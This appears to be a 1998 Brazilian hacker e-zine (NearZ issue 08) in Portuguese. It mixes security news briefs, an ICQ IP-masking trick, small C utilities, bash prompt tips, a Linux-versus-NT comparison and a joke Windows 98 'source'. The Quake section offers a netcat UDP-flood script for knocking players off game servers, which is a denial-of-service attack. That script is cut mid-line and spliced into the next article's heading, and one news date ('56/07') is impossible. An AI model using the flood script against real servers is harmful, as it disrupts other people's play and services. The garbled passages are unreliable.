──────────────────────────────────────────────────────────────────────────────
KeyWorDZ: Hack, [ FiLE: nz08.txt ] ▄▄▄ ▄▄▄ OBtRuDeR
CrACk, Linux, [ SiZE: 60000 Bytes ] █ █ █ █ SoUL HuNTeR
ProGraMMing, [ DATE: 12 Agosto 98 ] █ █ ▄▀▀▀▄ ReVeNGe
VirII, XpLoit, [ Format: ASCII-Text ] █ █ █ █ im0rtal
ZiNe, asm, [ Lingua: Portugues ] ▀▀▀ ▀▀▀ bahamas
RuLez, c, NearZ. [ Price.: 100% FREE ] issue 08
──────────────────────────────────────────────────────────────────────────────
╔═════╗ ╔═════╗ ╔═══════════════╗
║ xxx ╚╗ ║ xxx ║ ║ xxxxxxxxxxxxx ║
║ xxxx ╚╗ ║ xxx ║ ╚═══════╗ xxx ╔╝
║ xxxxx ╚╗ ║ xxx ║ f a c t o r y ╔╝ xxx ╔╝
║ xxxxxx ╚╗║ xxx ║ ╔╝ xxx ╔╝
║ xxxxxxx ╚╝ xxx ║ ╔╝ xxx ╔╝
║ xxxxxxxxxxxxxx ║ xXXXXXXx xXXXXXXXx XXx xXXXx ╔╝ xxx ╔╝
║ xxx ╔╗ xxxxxxx ║ XXX XX XXx XXXxXX' ╔╝ xxx ╔╝
║ xxx ║╚╗ xxxxxx ║ XXXXXXXXX' xXXXXXXXXX XXX' ╔╝ xxx ╔╝
║ xxx ║ ╚╗ xxxxx ║ XXX XXX XXX XXX ╔╝ xxx ╔╝
║ xxx ║ ╚╗ xxxx ║ XXX XXX XXX XXX ╔╝ xxxx ╚═══════╗
║ xxx ║ ╚╗ xxx ║ `XXXXXXXx `XXXXXXXXXXX XXX ║ xxxxxxxxxxxxx ║
╚═════╝ ╚═════╝ ╚═══════════════╝
+-+-+-+-+-+-+-+-+-+-+----+-+-+-+-+-+-+-+-+-+-+-+
Este documento pode conter informacoes ilegais
ou somente para fins *EDUCATIVOS*. Se usa-las
para *OUTROS* fins a responsabilidade sera sua
+-+-+-+-+-+-+-+-+-+-+----+-+-+-+-+-+-+-+-+-+-+-+
──────────────────────────────────────────────────────────────────────────────
T A B L E O F C O N T E N T Z
──────────────────────────────────────────────────────────────────────────────
╔═─────────────────────────────────────────────═╗
│ [0x00] introducao/newz │
│ [0x01] Cuspindo Users do Quake │
│ [0x02] Escondendo IP no ICQ │
│ [0x03] CCount, for C Programmers │
│ [0x04] Use MD5 em seus programas.c │
│ [0x05] Prompts com ANSI │
│ [0x06] Unix X SuxowsNT │
│ [0x07] Windows 98 Source Code │
│ [0x08] inetd │
│ [0x09] Nuke Daemon .cgi │
│ [0x0A] │
│ [0x0B] │
│ [0x0C] │
│ [0x0D] │
│ [0x0E] │
│ [0x0Z] E-MaiLZ/E0i │
╚═─────────────────────────────────────────────═╝
──────────────────────────────────────────────────────────────────────────────
╔═ ═╗
┌──────────────────── ╔╝ =────────────────────= ╚╗ ───────────────────┐
│ [0x00] ║ introducao/newz ║ [0x00] │
└──────────────────── ╚╗ =────────────────────= ╔╝ ───────────────────┘
╚═ ═╝
internet/brasil, 10:45pm, 12 Agosto 1998
<01/06> - Pesquisador do Bell Labs em New Jersey descobriu seria
- vulnerabilidade envolvendo o algoritmo de criptografia mais
- usado em transacoes online por servidores Netscape. A
- vulnerabilidade eh uma falha fatal do SSL (Secure Sockets
- Layer) desenvolvido pela RSA Data Security Inc e a Netscape
- Communications Corp. A falha permite que hackers capturem
- informacoes sigilosas durante transmissao entre o browser e
- servidor. O bug compromete servicos onde trafegam
- numeros de cartao de credito. [ ZDNNews ]
-
<01/06> - De acordo com pesquisa da organizacao KPMG, 43% das 1000
- maiores empresas canadenses utilizam a Internet para troca
- de informacoes estrategicas. No entanto, apenas 77% dos
- pesquisados acreditam que a Internet eh uma forma segura de
- enviar informacoes. Um total de 82% acredita que seus
- computadores estao vulneraveis a fraudes e invasoes. 47%
- tem certeza que as invasoes tem sido cada vez mais
- frequentes neste ano. Este numero sobe para 62% no setor
- financeiro. Foi detectado tambem que 77% das empresas
- tiveram seus funcionarios como fraudador. [ Reuters ]
-
<30/06> - Em Conferencia realizada no instituto norte-americano SANS,
- empresas como a Coca-Cola, Banco de Boston e a Cisco, que
- ja sofreram invasoes, decidiram criar uma equipe conjunta
- de atuacao contra os crimes cometidos pelos hackers. Cada
- organizacao que participou do encontro definiu que a nova
- equipe deve indicar quais providencias tomar quando o
- sistema for invadido por hackers, espioes ou apenas
- brincalhoes. [ ZDNNews ]
-
<25/06> - Em um mundo com mais de 3.000 virus de macro, o que pode um
- novo virus trazer de diferente? Bem, o recem descoberto
- WM/Polyposter eh especialmente perigoso para usuarios de
- newsgroups. O virus espalha de 23 em 23 mensagens com
- attachments mortais e se disfarca como membro do grupo - o
- que derruba a recomendacao de nao abrir arquivos de fontes
- nao-confiaveis. O subject traz frases como "News Virus
- Alert" ou "How to find child pornography". [ Reuters ]
-
<29/06> - Mais de 500 senhas do provedor AmericaOnline foram roubadas
- por um adolescente, conhecido como John Doe, condenado na
- ultima semana nos EUA. Promotores afirmam que o jovem
- invadiu os computadores dos usuarios, enviando programas de
- cavalos de troia atraves de emails. [ CNet News ]
-
<17/07> - A ONG norte-americana Eletronic Frontier Foundation (EEF)
- resolveu provar que o governo dos Estados Unidos esta
- colocando em risco infra-estruturas criticas ao pressionar
- a industria a adotar o padrao de criptografia DES. A EEF
- construiu um hardware com menos de US$ 250 mil para quebrar
- a seguranca de mensagens criptografadas com DES. "O DES eh
- inseguro. O cracker da EFF venceu a RSA", declararam no seu
- web site. O processo foi documentado e publicado em um
- livro chamado "Cracking DES: Secrets of Encryption Research
- Wiretap Politics, and Chip Design". O DES, que foi criado
- para proteger informacoes digitais e a comunicacao de dados
- durante a Guerra Fria eh o sistema de criptografia mais
- utilizado em todo o mundo, apesar de ser exportado sem a
- chave de recuperacao de dados e com uma protecao de apenas
- 40-bit. [ Eletronic Frontier Foundation ]
-
<16/07> - A CBF teve seu site invadido por hackers. A pagina foi
- invadida em torno das 3h de quinta-feira passada e
- permaneceu online ate as 13h25, quando foi retirado pela
- administracao do site da CBF. O grupo substituiu a pagina
- de abertura por um texto no melhor estilo "teoria da
- conspiracao", afirmando que o Brasil teria "vendido" a Copa
- do Mundo, em troca de sediar a Copa de 2002. A CBF admitiu
- falhas no sistema, que permitiram o roubo da senha de
- entrada na home page da Confederacao. [ Brasil Online ]
-
<56/07> - A organizacao Center for Democracy and Technology (CDT) dos
- EUA finalizou uma pesquisa mostrando que metade dos e-mails
- publicitarios recebidos pelos usuarios da Internet sem que
- tenham sido solicitados (Spam) sao propostas fraudulentas e
- tem como objetivo ludibriar o consumidor. O estudo foi
- entregue a Comissao Federal de Negocios (FTC), orgao
- encarregado de fiscalizar praticas desonestas no comercio
- norte-americano. No mesmo caminho, a propria FTC divulgara
- tambem sua pesquisa sobre fraudes por e-mail, cujo titulo
- eh "The Dirty Dozen Spam Scams". Os dois trabalhos analisam
- o impacto negativo do spam na Internet e nos direitos do
- consumidor. O estudo do CDT enfoca os problemas que o spam
- causa para a infra-estrutura da Internet, sobrecarregando a
- rede; enquanto o da FTC trata dos danos pessoais que o spam
- pode causar ao consumidor se ele se submeter as tais
- promocoes fraudulentas[Center for Democracy and Technology]
-
<20/07> - O grupo conhecido como X-Ploit assumiu a invasao em massa
- dos web sites de orgaos publicos mexicanos realizada no
- primeiro semestre do ano. No ataque foram atingidos o
- Ministerio de Fazenda e Credito Publico, a Comissao
- Nacional de Agua, o Instituto Nacional de Estatistica,
- Geografia e Informatica, o Ministerio da Saude e o Senado
- da Republica. Segundo os invasores, eles pretendem estar
- "em cada ministerio, cada pager, cada celular de
- funcionario, cada conta bancaria, transacao eletronica ou
- e-mail do governo para publicar o que realmente acontece
- no pais". Os hackers reivindicam ainda o titulo de primeiro
- grupo a conseguir tal empreitada e afirmam que tomaram de
- assalto os web sites para demonstrar que possuem tecnologia
- e conhecimento e, portanto, possuem o poder. "O Mexico para
- os mexicanos e a Internet para o X-Ploit", assinam eles.
- [ Security e-mail list ]
-
<17/07> - Pela primeira vez desde que iniciou suas atividades na
- Internet, a Microsoft Corp. apresenta publicamente uma
- empresa brasileira como parceira no seu web site norte
- americano. A Modulo foi citada na area destinada ao
- "Programa de Parcerias de Seguranca Microsoft" como exemplo
- de fornecedora internacional de ferramentas de deteccao e
- monitoramento de invasoes, ferramentas de seguranca de
- sistemas desktop e servicos de consultoria, junto com
- empresas como a Axent, Price Waterhouse, Network Associates
- e a ISS. [ Microsoft ]
-
<20/07> - Um homem que usou sem permissao a senha de outra pessoa
- para fazer download de material obsceno foi multado em US$
- 1.530, em Cingapura. Trata-se do primeiro caso de violacao
- as leis relacionadas ao uso da Internet registrado no pais.
- Colin Phan Siang Loong, de 21 anos, foi acusado de usar a
- rede sem autorizacao, possuir filmes obscenos e de possuir
- uma pelicula nao aprovada pela censura do Governo.
- Promotores do caso afirmaram que Phan dava aulas
- particulares a um estudante entre marco e maio de 1997,
- quando descobriu o ID e a senha da sua irma mais velha.
- Ele gastou US$ 244 fazendo chats com sua n amorada e
- capturando material. Alem da multa, Phan perdeu a
- oportunidade de cursar Direito na Universidade Nacional de
- Cingapura em funcao do caso. [ Nandotimes ]
-
<15/07> - A maioria das pessoas nao imagina que as empresas
- fornecedoras de gas possam ser alvo de ataque dos hackers -
- geralmente os escritorios de advocacia e as empresas de
- software estao no topo da lista. Mas os distribuidores
- comecam a se considerar vulneraveis ja que controlam um
- poderoso potencial de destruicao em massa. Em 1995, por
- exemplo, quando uma rotina na construcao de um buraco do
- metro na Coreia atingiu uma tubulacao, cerca de 100 pessoas
- morreram. Para trocar experiencias e informacoes, 60
- empresas se reuniram em Washington para uma "semana-cyber",
- patrocinada pelo Institute of Gas Technology. Foram
- analisados os riscos de hackers, terroristas e empregados
- vingativos entrarem nos sistemas eletronicos que controlam
- tudo diretamente, da regulagem dos oleodutos as estacoes de
- compressao. [ The Netly News ]
-
<23/07> - Pesquisadores da Universidade de Michigan realizaram um
- novo estudo sobre o custo dos ataques de hackers aos
- computadores universitarios. Segundo eles, o custo do
- incidente pode variar significativamente. Dos 30 ataques
- estudados, a maioria afetou poucas pessoas e custou menos
- de US$ 15 mil, mas em alguns casos os custos de reparo
- chegaram a US$ 100 mil, e mais de mil usuarios ficaram
- impossibilitados de utilizar o servico. O estudo foi o
- primeiro em que se tentou estabelecer um preco para esse
- tipo de problema e envolveu ataques de hackers, perdas
- acidentais de dados, queda de energia e roubos de
- equipamentos. Os pesquisadores descobriram ainda que
- quanto mais pessoas estiveram envolvidas na solucao do
- problema ou quanto mais tempo se leva para capturar o
- invasor, mais caro fica o custo de reparacao dos estragos.
- [ Chronicle of Higher Education ]
-
<24/07> - Um grupo nao identificado explorou a vulnerabilidade da
- rede de pagers PageMart, no Texas, e enviou uma serie de
- misteriosas paginas atraves das minusculas telas em todo o
- territorio norte-americano, confundindo assinantes e
- congestionando os sistema telefonico da central de servicos
- A empresa informou que o autor descobriu os tres numeros de
- identificacao pessoal do terminal em Dallas, onde sao
- distribuidas as mensagens. Especialistas afirmam que o
- sistema foi realmente invadido por hackers. [ Reuters ]
-
<20/07> - Os grupos "Legiao do underground" e "Mestres do downloading
- reivindicaram a invasao aos sistemas da Time Warner, em Los
- Angeles. Segundo os grupos, eles podem mover os satelites,
- mexer nos links e enviar mensagens para as telas de TV dos
- assinantes [ Wired News ]
-
Todas as noticias from Comunidade Modulo para Seguranca da Informacao
Ye, Concluido a versao publica do h0ax, um script pra BitchX, que vai
em anexo ao nearz08.{tgz,zip} em misc/hoax.tgz. Com suporte a alguns
sons, (Ex: /ow #nearz) hehe, de uma olhada no README huh! pra saber
dos outros. Foi privatizada no dia 29 de Julho a telebras em leilao
realizado no Rio de Janeiro. Com a venda, os precos das chamadas
interubanas e internacionais deverao abaixar. E ateh o final do ano
que vem toda galera que espera telefone dos planos de expansoes
deverao receber suas linhas. No total foram vendidos 12 "subdivisoes"
da telebras incluindo sistema movel, telesp, telerj, etc. Queremos
ISDN nos orelhoes. Queremos T3 em nossos lares >=) hehe Brincadeira!
T1 pra comecar ja esta otimo.
──────────────────────────────────────────────────────────────────────────────
*
╔═─────────────────────────────────────────────═╗
■──┤ [0x01] Cuspindo Users do Quake ├────────■ SouL Hunter ■─
╚═─────────────────────────────────────────────═╝
Nao eh bem um nuke.. eh mais um cospidor de clientes.
Nao me perguntem o porque isso ocorre.. descobri na cagad..
Tipo, eu tava sniffando os pacotes UDP no meio do jogo e resolvi mandar
de volta usando o nc (netcat) pra ver o que dava...
E cabum.. Coneccao cortada.
fiquei curioso e comecei a zuar. e mandei o pacote pra porta seguinte a
que eu estava usando.. e crackckck um user foi cuspido.. 0 frags tsk tsk. :)
Ai vi. que se mandar cerca de 2 kb UDP pro servidor quake e pra porta que o
cara estiver usando, ele eh cuspido.
entao aqui vai um scriptzinho pra mandar os pacotes entre as portas tais e
tais.
Parece que os server novos isto nao funcionava... masss funcionava beleza na
uol/unisys/trip/zaz... na mandioca/douranet/prover nao :(
-----------------------------------------------------------( quake-cusper.c )-
#!/bin/bash
# NearZ factory - 1998 - nearz@cyberspace.org
# Authors:
# SoUL HuNTeR
# \_ OBtRuDeR
#
if [ $# = 3 ]
then
HOST=$1
IP1=$2
IP2=$3
echo `perl -e "print 'X' x 2048"` >dummy
while [ 1 ]
do
nc -u $HOST $IP1 -w 1 Escondendo IP no ICQ ├────────■ SouL Hunter ■─
╚═─────────────────────────────────────────────═╝
Tipo. aquelas bagacas do ipmask e do iphost para mudar o ip no icq que
funcionavam no icq java, agora nao funcionam mais...
Mas tem uma manha, que o Graffiti me falou.
Aparentemente funciona em todas as versoes. (inclusive Ruindows e tal).
Clique no botao ICQ, propriedades, ligue o botao do proxy e clique em
firewall. Agora selecione SOCKS4, e no hosts coloque tipo 127.0.0.1, o resto
deixe como esta.
Pronto. agora no info do icq seu ip sera 127.0.0.1
──────────────────────────────────────────────────────────────────────────────
╔═─────────────────────────────────────────────═╗
■──┤ [0x03] CCount, for C Programmers ├──────■ GhostOBtRuDeR ■─
╚═─────────────────────────────────────────────═╝
ccount, esse eh pra quem tem raiva de quando acrescenta uma ou duas
funcoes no seu programa e vai compila e recebe akelas lindas mensagens
de erro sem saber de onde vem... Foi numa dessas horas que eu fiz o ccount
Ele pega um arquivo .c/.h e conta quantos { , } , ( e ) tem nele
Tipo, o unico problema eh que o ccount conta T0D0S os {}() do arquivo
incluindo os de comentarios e de strings
Ex: se tiver isso /* isto eh um parenteses ( */ ele conta. Ex: se tiver
"Isto eh uma string, e isto eh uma chave {" ele conta :/
Ele aceita como parametros multiplos arquivos. Ex:
ccount *.c
ccount head.h header2.h main.c
Se voce precisar, com simples alteracoes da pra colocar ele pra contar
] e [ tambem.
-----------------------------------------------------------------------------
/*
* NearZ factory - 1998 - nearz@cyberspace.org
* Authors:
* OBtRuDeR
*
*/
#include
void main ( int argc, char * argv[] ) {
FILE *fp;
int i=1;
int ch;
unsigned long Pl = 0;
unsigned long Pr = 0;
unsigned long Bl = 0;
unsigned long Br = 0;
if( argc <= 1 ) {
printf("NearZ - ccount - Check {, }, ) and ( in .c file\n");
printf("\nusage: %s ...\n", argv[0]);
exit(1);
}
while( (--argc) != 0 ) {
if( (fp = fopen(argv[argc], "r")) == NULL) {
printf("Can't open %s\n", argv[argc]);
}
while( (ch=fgetc(fp)) != EOF) {
if( ch == '(' ) Pl++;
if( ch == ')' ) Pr++;
if( ch == '{' ) Bl++;
if( ch == '}' ) Br++;
}
if( (Pl == Pr) && (Bl == Br) ) {
printf("%s: okay\n", argv[argc]);
continue;
}
printf("%s: {=%d, }=%d, (=%d, )=%d\n", argv[argc], Bl, Br, Pl, Pr);
fclose(fp);
Pl = Pr = Bl = Br = 0;
}
}
-----------------------------------------------------------------------------
──────────────────────────────────────────────────────────────────────────────
╔═─────────────────────────────────────────────═╗
■──┤ [0x04] Use MD5 em seus programas.c ├──────■ GhostOBtRuDeR ■─
╚═─────────────────────────────────────────────═╝
Como muita gente ja ta acostumado a usar e sabe que o algoritmo MD5
usa uma mensagem como entrada e faz umas loucuras e produz uma
"chave" de 128 bits, (16 bytes) usada pra autenticacoes de arquivos
strings, etc... Esta chave tambem eh chamada de "fingerprint",
"digest", "MD5 checksum", ou soh "MD5" e eh algo desse tipo:
6eb1a4cd0fa296f73af7f74a536686a4
Esse digest eh usado pra autenticacoes de arquivos, senhas. Se
voce fizer o md5 do seu /etc/passwd e fizer denovo e ele for
diferente eh porque o arquivo nao eh mais igual ao anterior, sofreu
alteracoes. Pra isso as empresas de softs quando precisam de
publicar a existencia de um patch, publicam junto o digest do
arquivo, pros usuarios terem certeza de que o arquivo eh o mesmo
nao sofreu alteracoes, nao foi colocado backdoor, trojan...
As chances de uma mensagem ter o mesmo "md5" de outra sao minimas,
se me lembro bem, acho que eh 1 a cada (2 elevado a 128).
MD5 ja existem a um tempinho... mas eh muito usado. Fiz um header
tipo um alias pra usar algoritmo em meus programas e agora vou
coloca-lo a disposicao de quem eh paranoico por seguranca :) e tal.
O arquivo ("MD5.h") vem junto com o nearz08.{tgz,zip} no diretorio
misc/ e pra usa-lo em seus programas basta um #include "MD5.h" e
depois chamar a funcao MDString() pra gerar o digest de strings, e
MDFile() pra gerar o digest de um arquivo (abaixo tem um exemplo).
O digest que essas funcoes retornam sao binarios, logo se voce
imprimi-la nao sera igual `a akelas que voce ve por ae em hexa. Pra
imprir os digest em hexa use a funcao MDPrint() e MDHexString(). Um
bom uso de MDHexString() seria MDHexString( MDString(buffer) );
[Dica: Voce nunca consiguira colocar o digest de um arquivo dentro
desse proprio arquivo! Por que? tente e verah >;) ]
Prototipos das funcoes:
char * MDString ( char * string )
char * MDHexString ( unsigned char digest[16] )
char * MDFile ( char * file )
void MDPrint ( FILE * fd, unsigned char digest[16] )
Um exemplo pratico:
Pra compilar: gcc -o test_md5 test_md5.c
----------------------------------------------------------------( test_md5.c )-
#include "MD5.h"
void main ( void ) {
char buf [512];
char * md5 = malloc(16);
/* ^^^^^^ Lembre-se de declarar como ponteiro a variavel
que armazenara o digest */
strncpy(buf, "hehe, qual sera o md5 desta string??", (512-1) );
/* voce acha que eu sou paranoico ? ^^^^^^^ hehe */
if( (md5 = MDString(buf)) != NULL ) /* Retorna NULL se deu algo errado */
{
printf("MD5 digest de \"%s\"\n", buf);
MDPrint(stdout, md5);
/* ^^^^^^ arquivo pra onde vai o digest ja em hexa
stdout == voce ja programou em C ? */
printf("\n\n"); /* MDPrint nao imprimi \n */
}
/* Como usar com arquivos? */
memset(md5, 0x00, 16); /* Limpamos o digest antigo, pura paranoia */
if( (md5 = MDFile("/etc/passwd")) != NULL )
/* Retorna NULL se deu algo errado */
{
printf("MD5 digest do arquivo /etc/passwd\n", buf);
MDPrint(stdout, md5);
printf("\n\n");
}
}
------------------------------------------------------------------------------
──────────────────────────────────────────────────────────────────────────────
╔═─────────────────────────────────────────────═╗
■──┤ [0x05] Prompts com ANSI ├──────■ GhostOBtRuDeR ■─
╚═─────────────────────────────────────────────═╝
Aquela string que voce mais ve todo dia ja tah enjoando?
[root@nzorg ~]#
nzorg:~#
Faca seus proprios, personalizados, coloridos :]
Esse prompt eh uma variavel de ambiente "PS1" com algumas "tags" especiais
\d A data no formato "Dia-da-Semana Mes Dia-do-Mes"
\n Nova linha
\W Ultima parte do diretorio atual (Ex: /usr/bin == bin)
\w Diretorio atual
\# Numero do comando, contador de comandos
\t A hora no formato HH:MM:SS
\s Nome do shell (bash)
\$ Se for root # e se nao for $
\u User que voce tah agora
\h Nome do host
\! Numero do comando no history, incluindo os do ~/.bash_history
\\ Uma barra '\'
\[ Comeca uma string de controle, ANSI, e caracters nao imprimiveis
\] Termina a string comecada com \[
O prompt default do redhat eh: [\u@\h \W]\$ o do slackware \h:\w\$
Hmmm, pra altera-los edite o arquivo /etc/profile e/ou o do usuario
~/.profile ou ~/.bash_profile. As alteracoes feitas no /etc/profile valem
pra todos os usuarios enquanto dos outros sao pra usuarios individuais
Exemplo 1:
root(tty3/1)[~]#
│ │ │ │ └─> Adivinha?
│ │ │ └─> Diretorio atual
│ │ └─> Numero do comando
│ └─> terminal
└─> usuario
Pra usar esse exemplo soh procure pela linha PS1='...' no seu profile e
troque por: PS1='\u(tty`tty |cut -b9-`/\#)[\w]\$'
Observe que foi usado command-substitution `tty |cut -b9-` que retorna
a parte do terminal, tipo 1, p0, 2, p4, etc...
Mas dah pra personalizar mais, com cores (ANSI->(Leia nz06.txt))
Eu uso o seguinte:
┌────┬─┬┬─┬──> Cinza
root(tty3/1)[~]#
│ │ │ │ └─> Branco Negrito (0;1;37m)
│ │ │ └─> Verde [0;32m]
│ │ └─> Normal [0m]
│ └─> Normal [0m]
└─> Cyano [0;36m]
Pra usar este, procure PS1 no seu profile e coloque o seguinte:
PS1=\
'\[[36m\]\u\[[0m[1m[30m\](\[[0m\]tty`tty |cut -b9-`\
\[[0m[1m[30m\]/\[[0m\]\#\
\[[0m[1m[30m\])[\[[0m[32m\]\w\[[0m[1m[30m\]]\[[0m[1m\]\$ \[[0m\]'
Use um editor pra copiar e colar isso, se voce usar o mouse NAO funcionarah
Se voce percebeu as linhas estao divididas?!? Quando uma linha for muito
grande voce pode usar \
pra indicar que ela continua na outra linha ;) [isso vale pra qualquer
script em bash/sh, que segue uma linguagem parecida com C] Nesse exemplo
tambem foi usado \[ e \] sempre use isso quando o caracter for sequencia
ANSI ou nao for imprimivel.
──────────────────────────────────────────────────────────────────────────────
╔═─────────────────────────────────────────────═╗
■──┤ [0x06] Unix X SuxowsNT ├──────■ GhostOBtRuDeR ■─
╚═─────────────────────────────────────────────═╝
As informacoes sao baseados e/ou retiradas em um texto: "unix-nt.txt" que
estah circulando por ae.
Preco
Windows NT 4.0 com 5 usuarios - $ 809
Windows NT 4.0 com 10 usuarios - $ 1129
Windows NT 4.0 com 25 usuarios - $ 4000
Windows NT 4.0 com 50 usuarios - $ 4800
Documentacao do Windows NT 4.0 - $ 70
Nenhum Linux sem limite de usuarios sai por mais de $50
Servidores de E-Mail
[nt] Microsoft Exchange 25 usuarios - $ 3549
[nt] Microsoft Exchange 50 usuarios - $ 4859
[linux] SendMail, qpop, exim, sem limite de usuarios - $ 0
Desempenho
Linux em um Pentium 133MHz - 12.2
BSD em um Pentium 133MHz - 9.8
Solaris 2.5 em um Pentium 133MHz - 6.2
Solaris em um Sun Sparc-II Ultra 167MHz System - 13.7
Solaris 2.5 em um Orion Pentium Pro 200MHz - 13.5
Windows NT 4.0 em um Pentium 133MHz - bah, sem comparacao
Alguns lugares importantes que rodam UNiX*
Hotmail
Sistema de Correios dos Estados Unidos
Yahoo
Sony
Mercedes-Benz
Servico de Taxi (EUA)
Cisco
"Qualquer UNIX com suporte a carregamento de modulo eh tao
naturalmente mais apropriado para um ambiente de servidor
porque quase todas as mudancas de configuracao nao requerem
reiniciar o sistema."
"O Windows NT consegue nem menos descarregar. Ateh mesmo
mudancas insignificantes para uma configuracao do Windows
NT requer ou pede uma paralisacao da empresa e reiniciar
para fazer as mudancas entre em vigor. Para mudar o driver
de IP de uma porta default voce precisa reiniciar. VocÛ nem
pode ao menos mudar o tipo de modem que voce estah usando
para um PPP dial-up sem uma reinicializacao para atualizar
o sistema. Nenhum destas limitaþ§es existem no UNIX."
"Eu tive Noticias de um leitor que disse que na Site dele,
um Linux em um 486 esta com uma autoperformace em relacao
ao Windows NT em um Pentium 200MHz, e ele tem maquinas de
Linux que tem rodado sem interrupcao desde antes do
lancamento do Windows NT 4.0."
"Realmente, o Windows NT eh uma grande melhoria em cima do
Windows 3.1 ou Windows 95, mas ainda tem um caminho muito
longo a seguir antes de alcancar o nivel de estabilidade
oferecido por ateh mesmo um sistema operacional freeware do
UNIX."
"Depois de tantas tentativas com o Cats(programa de ordenacao
e inventario) o NT era um pesadelo. O sistema estava
chocando duas a tres vezes por dia sem razao que eu poderia
achar. Eu constantemente estava nao telefone com a Microsoft
e com o Cats, mas ninguem poderia entender isto. a Microsoft
teve que aplicar o Servico de Pacotes para conseguir
resolver alguns problemas que ajudou mas ainda estava
chocando pelo menos duas vezes na semana com a infame "Tela
Azul da Morte". Depois de muitas semanas e aproximadamente
$1500.00 em suporte da Microsoft pelo telefone, o suporte
tecnico me disse que eu deveria achar um pacote de software
melhor que os Cat's Pajamas. Isto nao era a solucao para a
que eu estava buscando, desde que este eh o pacote de uma
porcentagem consideravel de imprensas do Nosso ambito
nacional que estava rodando, assim eu fui forcado a devolver
para o velho servidor Novell para a producao ateh que eu
poderia entender algo... Quatorze meses depois, nos estamos
rodando o Linux como o Nosso servidor."
"O NT eh um sistema operacional de brinquedo, com alguma
funcionabilidade profissional."
"UNIX esta antiquado, dificil,baseado num sistema operacional
de linha de comando. Errado! O CDE ( Common Desktop
Environment) eh um desktop GUI (Graphical USer Interface:
voce usa o mouse para posicionar e clicar, ou arrastar e
mover em um "desktop" colorido; esta eh a base para o
sucesso da Microsoft). O CDE foi trasnportado para a maioria
dos sistemas operacionais UNIX comerciais: O Solaris da Sun,
o AIX da IBM, Hewlett Packard com o HP-UX, o Digital UNIX da
Dec, sao alguns. Por apenas $90 voce pode adquirir o CDE
para o Linux se voce quiser pode escolher entre quatro
sistemas de GUI que foram transportados para o Linux.
OpenLook, o GUI que o Solaris usava; FVWM, um freeware GUI
que tem muitas semelhancas com o GUI Windows 3.1; ou FVWM-95
outro freeware GUI que imita o GUI Windows 95(quando olhando
em uma unica janela, a pessoa nao pode distinguir entre
FVWM-95 e Windows 95)."
"Que hardware e software Windows95.com usa? Nos usamos
computadores Pentium Pro rodando o sistema operacional UNIX
BSDI como software do servidor Web apache. Nossos servidores
sao conectados aa Internet por T3."
"Em dezembro de 1997 a hotmail foi comprada pela Microsoft
Antes da compra a hotmail rodava FreeBSD e Sun, depois da
venda a Microsoft trocou o sistema pra Windows NT, mas logo
percebeu que o seu sistema de brinquedo fracassava, e voltou
a usar Solaris."
╔═══════════════════╦════════════════════╦═══════════════════════════════╗
│ Componente │ Linux │ NT 4.0 │
╠═══════════════════╬════════════════════╬═══════════════════════════════╣
│ Preco │ Livre │ de $809 a $4000 │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Suporte tecnico │ Sim │ Nao │
│ gratis on Line │ │ │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Codigo fonte do │ Sim │ Nao │
│ Kernel │ │ │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Servidor de Web │ Sim │ Sim │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Servidor de FTP │ Sim │ Sim │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Servidor de Telnet│ Sim │ Nao │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Servidor SMTP/POP3│ Sim │ Nao │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ DNS │ Sim │ Sim(qualidade muito inferior) │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Servidor X Windows│ Sim │ Nao │
│ Para rodar GUIs │ │ │
│ remotamente │ │ │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Ferramentas de │ Sim │ Nao │
│ Administracao │ │ │
│ remota │ │ │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Servidor de News │ Sim │ Nao │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ C e C++ │ Sim │ Nao │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Perl 5.0 │ Sim │ Nao │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Numero de sistemas│ 32 │ 3 │
│ de arquivo │ │ │
│ suportados │ │ │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Suporte a quotas │ Sim │ Nao │
│ de disco │ │ │
├───────────────────┼────────────────────┼───────────────────────────────┤
│ Numero de GUIs │ 4 │ 1 │
└───────────────────┴────────────────────┴───────────────────────────────┘
──────────────────────────────────────────────────────────────────────────────
╔═─────────────────────────────────────────────═╗
■──┤ [0x07] Windows 98 Source Code ├──────■ MicroSux ■─
╚═─────────────────────────────────────────────═╝
hehe, se voce entende um pouco de C vai dar muita risada ;D
/*
TOP SECRET Microsoft(c) Code
Project: Chicago(tm)
Projected release-date: Summer 1998
*/
#include "win31.h"
#include "win95.h"
#include "evenmore.h"
#include "oldstuff.h"
#include "billrulz.h"
#define INSTALL = HARD
char make_prog_look_big[1600000];
void main() {
while(!CRASHED)
{
display_copyright_message();
display_bill_rules_message();
do_nothing_loop();
if (first_time_installation)
{
make_50_megabyte_swapfile();
do_nothing_loop();
totally_screw_up_HPFS_file_system();
search_and_destroy_the_rest_of_OS/2();
hang_system();
}
write_something(anything);
display_copyright_message();
do_nothing_loop();
do_some_stuff();
if (still_not_crashed)
{
display_copyright_message();
do_nothing_loop();
basically_run_windows_3.1();
do_nothing_loop();
do_nothing_loop();
}
}
if (detect_cache())
disable_cache();
if (fast_cpu())
{
set_wait_states(lots);
set_mouse(speed, very_slow);
set_mouse(action, jumpy);
set_mouse(reaction, sometimes);
}
/* printf("Welcome to Windows 3.11"); */
/* printf("Welcome to Windows 95"); */
printf("Welcome to Windows 98");
if (system_ok())
crash(to_dos_prompt);
else
system_memory = open("a:\swp0001.swp", O_CREATE);
while(something)
{
sleep(5);
get_user_input();
sleep(5);
act_on_user_input();
sleep(5);
}
create_general_protection_fault();
}
──────────────────────────────────────────────────────────────────────────────
╔═─────────────────────────────────────────────═╗
■──┤ [0x08] inetd ├────────■ SouL Hunter ■─
╚═─────────────────────────────────────────────═╝
Por algum motivo. talvez para proteger contra programas de forca bruta
ou para proteger a memoria. o inetd fecha uma determinada porta se esta
for aberta muitas vezes seguidas.
A porta ficara fechada por uns 5 minutos. e entao tudo volta ao normal.
O incrivel eh que nao encontrei nenhuma documentacao sobre este tipo de
